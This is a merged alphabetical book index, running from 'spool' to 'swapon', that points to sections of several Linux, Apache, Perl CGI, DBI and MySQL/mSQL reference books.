spool, print: 9.5. Printing (Running Linux)
9.5. Printing (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
directories for: 8.4.10.1. Setting up printer directories (Running Linux)
spreadsheets, CSV data format in: 10.1.5. DBD::CSV (CGI Programming with Perl)
sprintf( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
sprintf command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
Sql( ): 7.4.2. Win32::ODBC (Programming the Perl DBI)
SQL Access Group: 7.1. ODBC--Embraced and Extended (Programming the Perl DBI)
SQL92 (ANSI SQL): 1.2. What Is a Relational Database? (MySQL & mSQL)
SQL3 array objects: 22. JDBC Reference (MySQL & mSQL)
SQL datatypes (see datatypes)
SQL-level portability: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
SQL queries: 3.3. Querying Data (Programming the Perl DBI)
aliasing table names: 3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
condition clauses: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
joining tables: 3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
narrowing searches: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
outer joins: 3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
primary keys and foreign keys: 3.3.3. Queries over Multiple Tables (Programming the Perl DBI)
rows, retrieving: 3.3.1. Simple Queries (Programming the Perl DBI)
simple queries: 3.3.1. Simple Queries (Programming the Perl DBI)
SQL2 standard: 1.2. What Is a Relational Database? (MySQL & mSQL)
6.1.1. The SQL Story (MySQL & mSQL)
7.4. GNU SQL (MySQL & mSQL)
SQL statements
binding parameters to: 5.3. Binding Parameters to Statements (Programming the Perl DBI)
building dynamically: 6.1.6. Database Metadata (Programming the Perl DBI)
custom-built: 5.1.1.1. Constructing "on-the-fly" statements (Programming the Perl DBI)
dbish and: 8.1.2. Handling Statements (Programming the Perl DBI)
DELETE: 3.4.2. Deleting Data (Programming the Perl DBI)
DESC: 3.3.4.1. Ordering data (Programming the Perl DBI)
executing: 5.1.2. Executing Select Statements (Programming the Perl DBI)
INSERT: 3.4.1. Inserting Data (Programming the Perl DBI)
interpolated: 5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
preparing: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
SELECT: 3.3. Querying Data (Programming the Perl DBI)
5.1. Issuing Simple Queries (Programming the Perl DBI)
5.1.2. Executing Select Statements (Programming the Perl DBI)
5.1.3. Fetching Data (Programming the Perl DBI)
transaction handling (see transaction handling)
TRUNCATE TABLE: 3.4.2. Deleting Data (Programming the Perl DBI)
UPDATE: 3.4.3. Updating Data (Programming the Perl DBI)
WHERE: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
SQL (Structured Query Language): 10.3. Introduction to SQL (CGI Programming with Perl)
accessing CSV-format data with: 10.1.5. DBD::CSV (CGI Programming with Perl)
accessing data: 10.3.3. Accessing Data (CGI Programming with Perl)
inserting data: 10.3.2. Inserting Data (CGI Programming with Perl)
Oracle PL/SQL programming language: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
queries: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
passing to prepare command: 10.4.1.3. Database querying (CGI Programming with Perl)
starting with execute command: 10.4.1.3. Database querying (CGI Programming with Perl)
troubleshooting errors: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
SQL syntax, standardized: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
SQLBase API: 5.6.2.4. Programming interfaces (MySQL & mSQL)
Sqlscreens utility: 4.5.2.4. Programming interfaces (MySQL & mSQL)
SQLSTATE error indicator: 7.3.2. Standard Error Codes (Programming the Perl DBI)
sqrt( ) program function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
sqrt command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
Sqs: 5.6.2.5. Miscellaneous (MySQL & mSQL)
Squile: 4.5.2.4. Programming interfaces (MySQL & mSQL)
srand( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
srand command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
SRC attribute: 4.2.3.8. Image buttons (CGI Programming with Perl)
src directory: 4.16. Important Directories (Running Linux)
7.2.3. Upgrading Other Software (Running Linux)
src/w3-msql directory, shell script: 12.2.2. Installation (MySQL & mSQL)
SRM console firmware: C.3.3. Limitations of the SRM Console Firmware (Running Linux)
srm.conf file: 16.1.3.2. srm.conf (Running Linux)
SSI (see server-side includes)
SSI (Server Side Includes): 6.2. Server Side Includes (CGI Programming with Perl)
# in: 6.2.7. Common Errors (CGI Programming with Perl)
access counters: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
boilerplate files: 6.2.5. Including Boilerplates (CGI Programming with Perl)
CGI script execution, enabling to use exec command: 6.2.1. Configuration (CGI Programming with Perl)
commands: 6.2. Server Side Includes (CGI Programming with Perl)
6.2.2. Format (CGI Programming with Perl)
environment variables, inserting into static HTML documents: 6.2.3. Environment Variables (CGI Programming with Perl)
exec command: 6.2.1. Configuration (CGI Programming with Perl)
enabling without enabling exec tag: 6.2.1. Configuration (CGI Programming with Perl)
Mason module component approach vs.: 6.5.1. A Component Approach (CGI Programming with Perl)
parsing CGI output, inability to: 6.2. Server Side Includes (CGI Programming with Perl)
servers, configuring to parse: 6.2.1. Configuration (CGI Programming with Perl)
SSL: 5.6.2.5. Miscellaneous (MySQL & mSQL)
SSL (Secure Socket Layer)
CGI programs and: 2.2. HTTP (CGI Programming with Perl)
https connections using: 8.3. Encryption (CGI Programming with Perl)
SSL (Secure Sockets Layer): 13.6. Secure Sockets Layer: How to Do It (Apache: The Definitive Guide)
Apache directives for: 13.7. Apache-SSL's Directives (Apache: The Definitive Guide)
Apache-SSL patch: 13.6.2. Get the Apache-SSL Patch (Apache: The Definitive Guide)
CGI and: 13.9. SSL and CGI (Apache: The Definitive Guide)
protecting application data: D.2. Protecting Application Data (Apache: The Definitive Guide)
protocol specification: D. SSL Protocol (Apache: The Definitive Guide)
SSLBanCipher directive: 13.8.3. SSLBanCipher (Apache: The Definitive Guide)
SSLCACertificateFile directive: 13.7.9. SSLCACertificateFile (Apache: The Definitive Guide)
SSLCACertificatePath directive: 13.7.8. SSLCACertificatePath (Apache: The Definitive Guide)
SSLCacheServerPath directive: 13.7.4. SSLCacheServerPath (Apache: The Definitive Guide)
SSLCacheServerPort directive: 13.7.6. SSLCacheServerPort (Apache: The Definitive Guide)
SSLCacheServerRunDir directive: 13.7.5. SSLCacheServerRunDir (Apache: The Definitive Guide)
SSLCertificateFile directive: 13.7.10. SSLCertificateFile (Apache: The Definitive Guide)
SSLCertificateKeyFile directive: 13.7.11. SSLCertificateKeyFile (Apache: The Definitive Guide)
SSLDisable directive: 13.7.1. SSLDisable (Apache: The Definitive Guide)
SSLeay library: 13.6.1. Get SSLeay (Apache: The Definitive Guide)
SSLEnable directive: 13.7.2. SSLEnable (Apache: The Definitive Guide)
SSLExportClientCertificates directive: 13.9.1. SSLExportClientCertificates (Apache: The Definitive Guide)
SSLFakeBasicAuth directive: 13.7.14. SSLFakeBasicAuth (Apache: The Definitive Guide)
SSLLogFile directive: 13.7.16. SSLLogFile (Apache: The Definitive Guide)
SSLRequireCipher directive: 13.8.2. SSLRequireCipher (Apache: The Definitive Guide)
SSLRequiredCiphers directive: 13.8.1. SSLRequiredCiphers (Apache: The Definitive Guide)
SSLRequireSSL directive: 13.7.3. SSLRequireSSL (Apache: The Definitive Guide)
SSLSessionCacheTimeout directive: 13.7.7. SSLSessionCacheTimeout (Apache: The Definitive Guide)
SSLVerifyClient directive: 13.7.12. SSLVerifyClient (Apache: The Definitive Guide)
SSLVerifyDepth directive: 13.7.13. SSLVerifyDepth (Apache: The Definitive Guide)
st|stat commands (CVS) (see status command (CVS))
ST-506 drives: 3.1.1. Booting Linux (Running Linux)
stack frames: 14.1.2. Examining a Core File (Running Linux)
Stacker: 6.1.1. Filesystem Types (Running Linux)
stacking directories: 7.7. Built-in Commands (Linux in a Nutshell)
stale responses, determining: 2.5.2. Caching (CGI Programming with Perl)
Stallman, Richard: 1.5. Sources and Licenses (Linux in a Nutshell)
B.2. A Brief History of the GNOME Project (Running Linux)
standalone mode: 1.5. What Happens at the Server End? (Apache: The Definitive Guide)
standalone mode (ServerType): 3.9.5. ServerType (Apache: The Definitive Guide)
standard drivers: 4.3. Data Source Names (Programming the Perl DBI)
standard error: 4.9. Saving Your Output (Running Linux)
standard input (see input)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
standard key mappings, KDE: 16.3.5.2. Standard keys (Linux in a Nutshell)
standard output (see output)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.9. Saving Your Output (Running Linux)
standard syntax, CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
Star Office v5.0: 1.5.3. Commercial Applications (Running Linux)
9.3.4. Word Processors (Running Linux)
12.1.5. File Translation Utilities (Running Linux)
start command (lpc): 8.4.12. Controlling Printer Services with lpc (Running Linux)
start flag (apachect1): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
start tags (XML), defining handler for: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
start-up files: 4.15. Startup Files (Running Linux)
starting and ending HTML documents: 5.3.2. Starting and Ending Documents (CGI Programming with Perl)
starting bracket pair: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
starting up commands (rc files): 5.3.3. rc files (Running Linux)
startkde shell script: 11.3.1. Installing KDE (Running Linux)
StartServers directive: 3.6.5. StartServers (Apache: The Definitive Guide)
StartsOnDesk option (fvwm2): 17.11. Starting Windows on Different Desktops and Pages (Linux in a Nutshell)
StartsOnPage option (fvwm2): 17.11. Starting Windows on Different Desktops and Pages (Linux in a Nutshell)
startup programs, GNOME: 15.4.6. Session (Linux in a Nutshell)
startup scripts: 4.3. Running MySQL (MySQL & mSQL)
startx command (see X Window System)
stat( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
stat command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
state, maintaining: 11. Maintaining State (CGI Programming with Perl)
client-side cookies: 11.3. Client-Side Cookies (CGI Programming with Perl)
hidden fields: 11.2. Hidden Fields (CGI Programming with Perl)
query strings and extra path information: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
summary of techniques for: 11. Maintaining State (CGI Programming with Perl)
state function: 21.2. DBI.pm API (MySQL & mSQL)
$State keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
state retention: 9.4.1. State Retention (MySQL & mSQL)
state, revision (RCS): 14.8.4. Specifying States (Linux in a Nutshell)
stateless (nonpersistent) HTTP requests: 11. Maintaining State (CGI Programming with Perl)
statement buffer: 8.1.2. Handling Statements (Programming the Perl DBI)
Statement class: 14.2. Simple Database Access (MySQL & mSQL)
14.3. Dynamic Database Access (MySQL & mSQL)
statement handlers: 11.2.1. MySQL Statement Handlers (MySQL & mSQL)
statement handles: 4.2.3. Statement Handles (Programming the Perl DBI)
active: 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
attributes: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
connecting with: 6.1.2. Connecting with Attributes (Programming the Perl DBI)
driver-specific: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
6.1.3. The Significance of Case (Programming the Perl DBI)
error checking: 6.1.4. Common Attributes (Programming the Perl DBI)
formatting and displaying data: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
getting or setting values: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
passing to DBI methods: 6.1.1. Passing Attributes to DBI Methods (Programming the Perl DBI)
batch fetching and: 5.6.2. Batch Fetching (Programming the Perl DBI)
creating via DBI: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
deallocating: 5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
improving performance with prepare( ) and execute(): (Programming the Perl DBI) 5.5. do( ) Versus prepare( )
preparing from an SQL statement: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
$sth: 4.2.3. Statement Handles (Programming the Perl DBI)
5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
Statement interface: 22. JDBC Reference (MySQL & mSQL)
statement metadata: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
Statement statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
Statement::affectedrows function: 21.4. Mysql.pm API (MySQL & mSQL)
Statement::as_string function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::dataseek function: 21.3. Msql.pm API (MySQL & mSQL)
21.3. Msql.pm API (MySQL & mSQL)
21.3. Msql.pm API (MySQL & mSQL)
Statement::fetchcol function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::fetchhash function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::fetchrow function: 21.3. Msql.pm API (MySQL & mSQL)
statement_handle: 20.1. Module: MySQL (MySQL & mSQL)
Statement::info function: 21.4. Mysql.pm API (MySQL & mSQL)
Statement::insertid function: 21.4. Mysql.pm API (MySQL & mSQL)
Statement::isblob function: 21.4. Mysql.pm API (MySQL & mSQL)
Statement::isnotnull function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::isnum function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::isprikey function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::length function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::listindices: 21.3. Msql.pm API (MySQL & mSQL)
Statement::maxlength function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::name function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::numfields function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::numrows function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::table function: 21.3. Msql.pm API (MySQL & mSQL)
Statement::type function: 21.3. Msql.pm API (MySQL & mSQL)
static documents
HTML
embedding dynamic text banners in: 13.5.4. Image Processing (CGI Programming with Perl)
for web server response: 1.2. Introduction to CGI (CGI Programming with Perl)
for general errors: 3.4.1. Check the Client Browser (CGI Programming with Perl)
inserting environment variables into: 6.2.3. Environment Variables (CGI Programming with Perl)
language and media type negotiation for: 2.6.2. Internationalization (CGI Programming with Perl)
static libraries: 13.1.1. Quick Overview (Running Linux)
13.1.7. More Fun with Libraries (Running Linux)
static vs. dynamic resources: 1.1.1. How CGI Is Used Today (CGI Programming with Perl)
Statistics command: 4.4.1.4. Server status (MySQL & mSQL)
statistics, mSQL: 5.5.1.4. Server status (MySQL & mSQL)
stats command: 17.2. mSQL Utilities (MySQL & mSQL)
status
Image::Magick, returning with method calls: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
system calls, checking: 15.2.2. Check Status of System Calls (CGI Programming with Perl)
status codes: 2.4.1. The Status Line (CGI Programming with Perl)
header method, specifying with: 5.3.1.2. Status (CGI Programming with Perl)
printing: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
redirection of client request: 2.4.2.7. Location (CGI Programming with Perl)
specifying with Status header, CGI output: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
status codes, HTTP: 11.5.5. site.authent--Another Example (Apache: The Definitive Guide)
15.2. Status Codes (Apache: The Definitive Guide)
status command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
17.1. MySQL Utilities (MySQL & mSQL)
status command (CVS): 14.4.7.19. status (Linux in a Nutshell)
status flag (apachect1): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
status headers
CGI scripts, output: 3.3.1. Partial Headers (CGI Programming with Perl)
CGI scritps, output: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
common, description of: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
status information: 11.2. Status (Apache: The Definitive Guide)
status line: 2.2.2. HTTP Headers (CGI Programming with Perl)
2.4. Server Responses (CGI Programming with Perl)
complete headers, including in: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
status-line commands (vi): 11.1.4. Status-Line Commands (Linux in a Nutshell)
STATUS rule: 1.8.4. Configuration Settings and Rules (Apache: The Definitive Guide)
status variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
STD( ) function: 15.1. MySQL SQL (MySQL & mSQL)
STDDEV( ) function: 15.1. MySQL SQL (MySQL & mSQL)
STDERR (standard error): 3.1.1. File Handles (CGI Programming with Perl)
output to, sending to server error log: 5.5.1. Dying Gracefully (CGI Programming with Perl)
server error logs and: 15.3.2. Check Error Logs (CGI Programming with Perl)
STDIN (standard input): 1.2. Introduction to CGI (CGI Programming with Perl)
3.1.1. File Handles (CGI Programming with Perl)
GET requests, problems with: 3.1.1.1. STDIN (CGI Programming with Perl)
tainted data, checking for: 8.4.1. How Taint Works (CGI Programming with Perl)
STDOUT (standard output): 1.2. Introduction to CGI (CGI Programming with Perl)
3.1.1. File Handles (CGI Programming with Perl)
buffering output to, header errors and: 15.1.4. "Malformed" Header (CGI Programming with Perl)
CGI programs, printing to: 3.1.1.2. STDOUT (CGI Programming with Perl)
Embperl module, use of: 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
stem.pl program: 12.3. Inverted Index Search (CGI Programming with Perl)
step command (gdb): 14.1.1. Tracing a Program (Running Linux)
14.1.6.1. Breakpoints and watchpoints (Running Linux)
stepi command (gdb): 14.1.6.2. Instruction-level debugging (Running Linux)
$sth statement handle: 4.2.3. Statement Handles (Programming the Perl DBI)
5.1.5. Deallocating Statement Handles (Programming the Perl DBI)
sticky windows, fvwm2: 17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
17.10. Making the Same Window Appear on Every Page (Linux in a Nutshell)
Stonebreaker, Michael: 7.3. PostgreSQL (MySQL & mSQL)
stop command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
stop command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
stop command (lpc): 8.4.12. Controlling Printer Services with lpc (Running Linux)
stop flag (apachect1): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
stop script (example): 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
Stopped (tty input) error: 4.11. Putting a Command in the Background (Running Linux)
Storable module: 10.2.2. MLDBM (CGI Programming with Perl)
2. Basic Non-DBI Databases (Programming the Perl DBI)
2.5.2. The Storable Module (Programming the Perl DBI)
storage (see disk space)
storage commands: 1.6.9. Storage (Linux in a Nutshell)
storage managers: 2.1. Storage Managers and Layers (Programming the Perl DBI)
MLDBM module: 2.8. The MLDBM Module (Programming the Perl DBI)
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
store.cgi script (example): 11.3.2. Testing for Cookies (CGI Programming with Perl)
stored procedures: 7.2.3. Stored Procedures (MySQL & mSQL)
strace command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
strace program: 14.2.3. Using strace (Running Linux)
strategic programming: 16.1. Architectural Guidelines (CGI Programming with Perl)
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
strcasecmp_match( ): 14.6.11. String Functions (Apache: The Definitive Guide)
strchr( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
STRCMP( ) function: 15.1. MySQL SQL (MySQL & mSQL)
strcmp_match( ): 14.6.11. String Functions (Apache: The Definitive Guide)
strfile command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
strftime( ): 10.2. File Modification Time (Apache: The Definitive Guide)
strftime( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
strftime function (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
strict mode: 1.2.1. Sample CGI (CGI Programming with Perl)
mod_perl, use with: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
strict module, error prevention in Perl and CGI scripts: 15.2.1. Use strict (CGI Programming with Perl)
strings
API functions for: 14.6.11. String Functions (Apache: The Definitive Guide)
command-line options taking arguments, indicating: 12.3. Inverted Index Search (CGI Programming with Perl)
double quoted, @ character in: 13.5.4. Image Processing (CGI Programming with Perl)
format:filename string: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
formatting: 4.6.3. Neat and Tidy Formatting (Programming the Perl DBI)
packing values into: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
Perl, processing of: 1.2. Perl (Programming the Perl DBI)
5.1.1.1. Constructing "on-the-fly" statements (Programming the Perl DBI)
5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
perl treatment of: 1.3.1. Why Perl? (CGI Programming with Perl)
in pools: 14.6.1. Pool Functions (Apache: The Definitive Guide)
printing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
translating characters between: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
strip command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
stripslashes( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strlen( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strrchr( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strstr( ) function: 18.1. PHP (MySQL & mSQL)
strtok( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strtolower( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strtoupper( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
strtr( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
Struct interface: 22. JDBC Reference (MySQL & mSQL)
structure, Internet email: 9.3. Structure of Internet Email (CGI Programming with Perl)
Structured Query Language (see SQL)
strval( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
stty command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.6. Useful Keys and How to Get Them to Work (Running Linux)
stub code: 13.1.1. Quick Overview (Running Linux)
stub routines: 7.2.1. Upgrading Libraries (Running Linux)
st0x= parameter (linux): 3.1.1. Booting Linux (Running Linux)
Style command (fvwm): 11.2.1. Configuring fvwm (Running Linux)
style for KDE desktop: 11.3.2. Using KDE (Running Linux)
style guide topics, CGI application coding: 16.2. Coding Guidelines (CGI Programming with Perl)
style sheets
HTML documents, defining for: 5.3.2.1. start_html (CGI Programming with Perl)
XML documents, guiding browser display: 14.2. An Introduction to XML (CGI Programming with Perl)
Style variable (fvwm2)
focus policies: 17.6. Specifying Click-to-Type Focus (Linux in a Nutshell)
starting applications on different desktops: 17.11. Starting Windows on Different Desktops and Pages (Linux in a Nutshell)
sticky windows and: 17.10. Making the Same Window Appear on Every Page (Linux in a Nutshell)
su command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.1. Running the System (Running Linux)
sub( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
sub command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
Subject field, email messages: 9.3. Structure of Internet Email (CGI Programming with Perl)
submit buttons: 4.2.3.6. Submit buttons (CGI Programming with Perl)
16.1.5.1. The HTML form document (Running Linux)
actions, specifying for CGI script to perform: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
flow, controlling with: 16.1.8. Using Submit Buttons to Control Flow (CGI Programming with Perl)
image buttons, supporting as: 5.2.2.4. Supporting image buttons as submit buttons (CGI Programming with Perl)
online music browser example: 7.3.2. Example (CGI Programming with Perl)
validating form input: 7.2.1.2. Validating submits (CGI Programming with Perl)
7.2.1.3. Validation example (CGI Programming with Perl)
subnet masks: 1.2. What to Know About TCP/IP (Apache: The Definitive Guide)
subnetwork address: 15.1.1. TCP/IP Concepts (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
15.1.3.1. Your network configuration (Running Linux)
@subrelated, URLs related to first-level URL: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
sub_req_lookup_file( ): 14.6.15. Request-Handling Functions (Apache: The Definitive Guide)
sub_req_lookup_uri( ): 14.6.15. Request-Handling Functions (Apache: The Definitive Guide)
subroutines
array context and: 4.3. Decoding Form Input (CGI Programming with Perl)
bareword vs. strict: 15.2.1. Use strict (CGI Programming with Perl)
capitalization of, standardizing: 16.2. Coding Guidelines (CGI Programming with Perl)
constants, defining as (mod_perl): 17.3.2. mod_perl Considerations (CGI Programming with Perl)
declarations, bracket pairs enclosing (Embperl): 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
display_whats_related_to_whats_related: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
email addresses, validating: 9.2.1. Validating Syntax (CGI Programming with Perl)
error handling: 5.5.3. Error Subroutines (CGI Programming with Perl)
get subroutine: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
get_whats_related_to_whats_related: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
handle_start: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
hiding with SelfLoader module: 17.1.6. SelfLoader (CGI Programming with Perl)
requests, handling (shopping cart example): 11.2. Hidden Fields (CGI Programming with Perl)
with same name, avoiding collisions of: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
strict rules for, using: 1.2.1. Sample CGI (CGI Programming with Perl)
sub parse_form_data (example): 4.3. Decoding Form Input (CGI Programming with Perl)
tainted variables, checking for: 8.4.1. How Taint Works (CGI Programming with Perl)
URI::URL module: 2.1.3. URL Encoding (CGI Programming with Perl)
subselects: 7.2.4. Subselects (MySQL & mSQL)
substitute command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
substitution operators
bash shell: 7.4.1. Variable Substitution (Linux in a Nutshell)
7.6.3. Command Substitution (Linux in a Nutshell)
csh/tcsh shells: 8.4.1. Variable Substitution (Linux in a Nutshell)
substitutions within URLs: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
example of: 8.8.8. A Rewrite Example (Apache: The Definitive Guide)
substr( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
substr command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
SUBSTRING( ) function: 15.1. MySQL SQL (MySQL & mSQL)
SUBSTRING( ) function: 15.1. MySQL SQL (MySQL & mSQL)
SUBSTRING_INDEX( ) function: 15.1. MySQL SQL (MySQL & mSQL)
suEXEC wrapper: 4.7. suEXEC on Unix (Apache: The Definitive Guide)
suffix rules (make): 13.2.4. Suffix Rules and Pattern Rules (Running Linux)
suffixes to words, removing: 12.3. Inverted Index Search (CGI Programming with Perl)
SUM( ) function: 15.1. MySQL SQL (MySQL & mSQL)
sum command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Sun SPARC systems: F. Installing Linux on Sun SPARC Systems (Running Linux)
differences from Intel installations: F.3. Installation Differences from Intel (Running Linux)
hardware: F.1. Supported Hardware (Running Linux)
installing from serial console: F.4. Installation from a Serial Console (Running Linux)
SILO bootloader: F.3.2. The SILO Boot Loader (Running Linux)
system libraries: F.2. System Libraries (Running Linux)
superblock (filesystems): 8.6.1. Repairing Filesystems (Running Linux)
superblocks (filesystems): 6.1.2. Mounting Filesystems (Running Linux)
SuperProbe program: 10.2. Hardware Requirements (Running Linux)
10.5. Filling in Video Card Information (Running Linux)
superuser (see root account)
2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
16.1.5.2. Writing the CGI script (Running Linux)
support: A.14. Support/ Warranty (Programming the Perl DBI)
dbi-users mailing list: A.9.4. Mailing List (Programming the Perl DBI)
support, online: 0.1.4. Online Linux Support (Linux in a Nutshell)
support utilities: 4.5. MySQL Utilities (MySQL & mSQL)
SuppressSize option (IndexOptions): 7.1.1. IndexOptions (Apache: The Definitive Guide)
SuSE Linux: C.2. The Linux Port (Running Linux)
suspend command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
suspend command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
suspend command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
SVGA chipsets: 10.2. Hardware Requirements (Running Linux)
swallowed applications: 16.2.4. Running an Application on the Panel (Linux in a Nutshell)
swap partitions
LinuxPPC installation: D.3.2. Partitioning the Hard Disk (Running Linux)
MS-DOS emulators: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
Wine emulator: 12.2.4. Windows Emulation: Wine (Running Linux)
swap space: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
1.4.3. Kernel (Running Linux)
1.9.2. Memory Requirements (Running Linux)
1.9.4. Hard Drive Space Requirements (Running Linux)
5.3.1. Kernel Boot Messages (Running Linux)
6.2. Managing Swap Space (Running Linux)
swap partitions: 2.2.3. Linux Partition Requirements (Running Linux)
3.1.3. Creating Linux Partitions (Running Linux)
3.1.4. Creating Swap Space (Running Linux)
swapdev command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
swapoff command: 6.2.3. Disabling Swap Space (Running Linux)
swapon command: 3.1.4. Creating Swap Space (Running Linux)
6.2.2. Enabling the Swap Space (Running Linux)
swapon, swapoff commands: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
